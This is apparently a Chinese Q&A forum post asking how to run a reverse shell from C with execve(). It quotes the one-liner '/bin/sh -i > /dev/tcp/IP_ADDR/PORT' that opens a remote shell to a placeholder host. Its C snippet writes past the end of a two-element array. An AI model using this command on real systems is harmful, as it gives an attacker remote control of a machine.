【发布时间】:2018-04-12 07:04:41
【问题描述】:
我需要使用execve 运行反向shell。我知道如何从命令行运行它,如下所示:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
我可以运行一个简单版本的/bin/sh 调用如下:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
我不知道如何运行命令的其余部分。我尝试将剩余的字符串 > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 分配为 args 数组中的单个元素。当我运行它时,它会报告Can't open >。
我提到的反向 shell 命令可以通过 execve() 执行吗?如果是这样,正确的方法是什么?谢谢。
【问题讨论】:
-
execve 的第二个参数仍然有
argv[0], "/bin/sh",删除它可能会修复它。
标签: c execve reverse-shell